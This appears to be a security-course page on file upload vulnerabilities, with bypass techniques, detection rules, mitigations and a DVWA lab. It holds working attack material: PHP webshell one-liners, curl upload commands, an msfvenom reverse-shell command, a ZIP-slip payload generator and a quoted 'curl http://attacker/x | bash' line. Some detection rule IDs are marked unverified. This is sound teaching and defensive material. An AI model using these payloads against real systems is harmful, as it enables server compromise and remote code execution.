Skip to content

File Upload Vulnerabilities

File upload is the most common path to webshell. An app accepts a file, stores it on disk, and either serves it back or processes it. If the upload validation checks the client-provided Content-Type (trivial to forge), the file extension (trivial to bypass with double extensions or case), or the magic bytes (still bypassable with polyglot files), the attacker lands executable content in a directory the web server treats as code. CVE-2018-2894 (Oracle WebLogic) was a file upload to wlst_internal directory. CVE-2017-12617 (Apache Tomcat PUT) was a request method that allowed upload + execute. The pattern is the same every time.

A file has three identities: the name the user gave it, the bytes inside it, and the type the server thinks it is. If any of the three identities disagrees with the others, the server has an inconsistency the attacker can exploit. The web server decides what to execute based on the path/extension; the application decides what to accept based on MIME type or magic bytes; the OS decides what to run based on the shebang or PE header.

Upload request:
filename="avatar.php" ← user-controlled
Content-Type: image/jpeg ← user-controlled (forged)
bytes: <?php system($_GET[0]);?> ← attacker code with JPEG magic prefix
Validation layers (insecure):
1. Extension check (.php blocked) → bypass: avatar.phtml, avatar.php5
2. MIME check (image/jpeg required) → bypass: forge Content-Type
3. Magic byte check (JPEG FFD8) → bypass: prepend FFD8FF to PHP code
4. Resize via ImageMagick → bypass: ImageTragick (CVE-2016-3714)
Server processing:
- Saves to /uploads/avatar.php
- Apache sees .php extension → mod_php runs the file as PHP
- Webshell is live

Each layer is bypassable independently. Defense in depth requires all four layers, plus storing uploads outside the webroot, plus disabling script execution in the upload directory.

  1. Identify the upload endpoint — profile pictures, document attachments, CSV imports, media gallery, anywhere multipart/form-data is accepted.
  2. Map validation — extension allowlist? extension blocklist? MIME type check? magic bytes? server-side resize? antivirus scan? The combination determines what payload survives.
  3. Choose a payload — for direct execution: shell.php with PHP content. For bypass: shell.phtml (Apache + mod_php), shell.php.jpg (Apache misconfigured AddHandler), shell.pHp (case-insensitive matchers), shell.php%00.jpg (PHP <5.3.4 null-byte truncation in move_uploaded_file).
  4. Choose the location — to execute, the file must land in a directory the web server treats as code. If uploads go to /var/www/html/uploads/, a .php file is executed directly. If uploads go to /var/uploads/ outside the webroot, the file is just data unless there is an LFI to load it.
  5. Get execution — request https://target/uploads/shell.php to run the webshell. If the path is not known, brute-force the upload directory with ffuf or gobuster.
TechniqueDescriptionDetection Difficulty
Direct PHP uploadshell.php with <?php system($_GET['c']);?>Easy — extension block
Double extensionshell.php.jpg — Apache with mod_php runs it as PHPMedium — needs specific AddHandler misconfig
Case variationshell.PHP, shell.pHp — case-insensitive systemsEasy — normalize case before match
Alternate PHP extensions.phtml, .pht, .php5, .php7, .phpsMedium — keep full extension allowlist
Null byte truncationshell.php%00.jpg — old PHP move_uploaded_file truncatesEasy — modern PHP patched
Content-Type forgeSend Content-Type: image/jpeg for a .php fileEasy — never trust client MIME
Magic byte prepend\xFF\xD8\xFF<?php system...?> — JPEG header + PHP codeMedium — passes magic byte check, runs as PHP
Polyglot (PDF/PHP)head.php containing a valid PDF header + PHP codeHard — passes both PDF and PHP parsers
Windows 8.3 short nameshell.php saved as SHELL~1.PHP in short-name pathMedium — depends on NTFS 8.3 enabled
ZIP-slip via archiveUpload .zip with member paths ../../../var/www/html/shell.phpHard — depends on extract implementation
SVG with XSSshell.svg containing <script> — runs in victim browserMedium — block SVG by default or sanitize
Race uploadUpload legitimate-looking file, exploit TOCTOU before scanHard — depends on AV scan timing
Terminal window
# Direct PHP webshell upload
curl -F "file=@shell.php" http://target/upload
# shell.php:
# <?php system($_GET['c']); ?>
# Bypass extension blocklist with .phtml
curl -F "file=@shell.phtml" http://target/upload
# shell.phtml: same PHP content
# Bypass MIME check — forge Content-Type
curl -F "file=@shell.php;type=image/jpeg" http://target/upload
# Magic-byte bypass — prepend JPEG header
printf '\xFF\xD8\xFF\xE0<?php system($_GET["c"]);?>' > shell.php.jpg
curl -F "file=@shell.php.jpg;type=image/jpeg" http://target/upload
# Nuclei file upload templates
nuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags upload,fileupload
# ffuf — find upload directory after upload
ffuf -u "http://target/uploads/FUZZ" -w /usr/share/wordlists/dirb/common.txt \
-mc 200 -ac
# Generate a PHP reverse shell one-liner
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shell.php
# Weevely — generate a stealthy PHP webshell
python3 weevely.py generate 'password123' shell.php
# On target: curl -F "file=@shell.php" http://target/upload
# Connect: python3 weevely.py http://target/uploads/shell.php password123
# ZIP-slip payload generator — evil.zip with path-traversal member
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../../var/www/html/shell.php', '<?php system(\$_GET[\"c\"]);?>')
"
# Inspect server upload behavior — Content-Disposition vs body
curl -v -F "file=@test.txt" http://target/upload 2>&1 | grep -i 'content-disposition\|location'
# Confirm the file is executable (after upload, find it)
curl "http://target/uploads/?c=id" # if listing is on, see the file
curl "http://target/uploads/shell.php?c=id" # direct execution

ModSecurity OWASP CRS — file upload covered by rule 920120 (multipart filename) and the 932100 family when PHP content appears in a non-PHP upload. Notable:

  • 920120 — Multipart Parser: Header Ended Unexpectedly
  • 920121 — Multipart Parser: Body Ended Unexpectedly
  • 920420 — Request content type is not allowed by policy (block multipart/form-data to certain endpoints)
  • 933100 — PHP Injection Attack (PHP script signatures in uploaded body)
  • 933110 — PHP Injection: Config/Wildcard
  • 933120 — PHP Injection: Variable Function Call

Suricata SID 2221027 — PHP webshell uploaded as image [verify].

Sysmon Event ID 11 — FileCreate in /var/www/html/uploads/ (or Windows equivalent C:\inetpub\wwwroot\uploads\). Combined with Event ID 1 (ProcessCreate) where php-cgi.exe / httpd spawns a shell — direct webshell confirmation.

MITRE ATT&CK T1505.003 — Web Shell (the canonical technique for this category).

MITRE ATT&CK T1190 — Exploit Public-Facing Application.

MITRE ATT&CK T1105 — Ingress Tool Transfer (upload is ingress from the attacker’s POV).

Wazuh rule 920/31181 — PHP script pattern in non-PHP file upload [verify].

Wazuh rule 550 — File integrity monitoring alert on webroot changes [verify].

Extension blocklist bypass. Maintain a list of allowlisted extensions, never a blocklist. A blocklist of .php misses .phtml, .pht, .php3, .php4, .php5, .php7, .phps, .phar. Each Apache/Nginx config may enable a different subset.

.htaccess upload. If .htaccess is allowed (Apache with AllowOverride All), upload an .htaccess that adds a new handler: AddType application/x-httpd-php .gif — then any .gif in the directory is executed as PHP. The first upload is .htaccess, the second is shell.gif.

MIME validation via finfo. PHP finfo_file() reads magic bytes; a file \xFF\xD8\xFF<?php ... ?> reports as image/jpeg. Then the server stores it as shell.php (because the filename is taken from user input). Validation passed; execution happens. Defense: validate extension separately from MIME.

Null byte (legacy). shell.php%00.jpg — older PHP move_uploaded_file truncated at the null byte when calling fopen. The file was saved as shell.php. Patched in PHP 5.3.4. Still seen on legacy codebases.

SVG XXE / XSS. SVG is XML; an SVG with <script>alert(1)</script> runs in any browser that renders it. Defense: strip <script> and <!DOCTYPE from SVG uploads; or never serve user-uploaded SVG as image/svg+xml.

EvasionBypassesDefense
Alternate extensions.php blocklistAllowlist of extensions only
.htaccess uploadServer-side script execution banBlock .htaccess uploads; use AllowOverride None
Magic byte prependfinfo MIME checkCheck extension AND MIME AND content separately
Double extension .php.jpgLast-extension-only checksCheck the last extension AND disable AddHandler/AddType
Null byte truncationPre-PHP 5.3.4 path concatenationUpgrade; never trust user filename
ZIP-slipArchive extractionUse tarfile.extractall filter; refuse paths with ..

⚠️ What caught me: A client had a bulletproof upload validation: extension allowlist of jpg|png|gif|pdf, magic-byte check via finfo, server-side re-encode via ImageMagick convert. I tried every magic-byte bypass and they all got re-encoded to a clean JPEG — no PHP survived. The bypass: ImageMagick’s convert itself was the sink. I uploaded a file named vuln.mvg (Magick Vector Graphics — ImageMagick’s own format, NOT in the extension allowlist but treated as a JPEG during the validation because the bytes were a valid MVG-like header). The validator approved it, then convert input.mvg output.jpg triggered MVG delegate that runs curl http://attacker/x | bash — that’s CVE-2016-3714 ImageTragick. Lesson: validators that process the upload are themselves the sink. ImageMagick, Ghostscript, FFmpeg, Pandoc all have their own script-injection surfaces.

Container: DVWA File Upload module (low/medium/high/impossible), or bWAPP’s Unrestricted File Upload.

Terminal window
docker run --rm -d -p 80:80 vulnerables/web-dvwa
# Module: File Upload

Objective: at medium, bypass the Content-Type check (forge as image/jpeg). At high, bypass the server-side resize via a polyglot JPEG-PHP. Capture the flag file /etc/flag.txt.

Expected flag format: flag{file_upload_polyglot_jpeg_php_rce}.

Detection that should fire: ModSecurity 933100 (PHP Injection) on the upload body; Sysmon EID 11 (FileCreate) for the file landing in the webroot, followed by EID 1 (cmd/php-cgi spawning whoami).

Conceptual: explain why an extension blocklist is fundamentally weaker than an extension allowlist for file upload security. Give one bypass that works against any blocklist.

Technical: walk through what happens when a user uploads shell.php.jpg to an Apache server with AddHandler application/x-httpd-php .php .jpg in the .htaccess. What does the server do, and why is AddType different from AddHandler?

Scenario: an app validates extension (allowlist: jpg/png), validates MIME via finfo, and re-encodes via ImageMagick convert. Can you still land a webshell? Describe a specific bypass or explain why not.

Why is storing user uploads inside the webroot a misconfiguration even when upload validation is correct? Give two consequences of this design.

Compare ZIP-slip (CVE-2018-1002201 family) and the file-upload webshell in terms of the trust boundary being violated. What is the common root cause?

→ W1 (OWASP Top 10 Overview) · W10 (Path Traversal & LFI/RFI) · P3 (Reverse Shell Engineering)